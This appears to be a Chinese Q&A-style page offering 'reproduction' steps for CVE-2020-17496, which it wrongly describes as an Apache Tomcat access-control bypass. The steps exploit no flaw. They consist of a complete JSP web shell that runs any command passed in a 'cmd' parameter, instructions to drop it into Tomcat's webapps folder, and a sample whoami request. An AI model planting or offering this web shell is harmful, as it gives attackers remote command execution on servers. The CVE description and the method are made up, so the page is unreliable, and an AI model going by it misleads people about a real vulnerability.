CVE-2020-17496复现
时间: 2024-04-03 17:29:19 浏览: 234
CVE-2020-35728:CVE-2020-35728 和 Jackson-databind RCE
CVE-2020-17496是一个存在于Apache Tomcat中的漏洞,该漏洞允许攻击者通过特制的HTTP请求绕过安全限制,进而访问受限资源。具体的复现步骤如下:
1. 确认你已经安装了Apache Tomcat,并且版本号在7.0.0至7.0.100之间。
2. 创建一个名为`test.jsp`的文件,内容如下:
```jsp
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
br.close();
}
%>
```
3. 将`test.jsp`文件放置在Tomcat的webapps目录下。
4. 启动Tomcat服务器。
5. 构造一个特制的HTTP请求,其中包含`cmd`参数,该参数用于执行系统命令。例如:
```
GET /test.jsp?cmd=whoami HTTP/1.1
Host: localhost:8080
```
6. 发送该HTTP请求到Tomcat服务器。
7. 如果成功复现漏洞,你将会在HTTP响应中看到执行`whoami`命令的结果。
请注意,复现CVE-2020-17496漏洞可能涉及到违法行为,仅供学习和研究目的,请遵守法律法规并获得相关授权。
阅读全文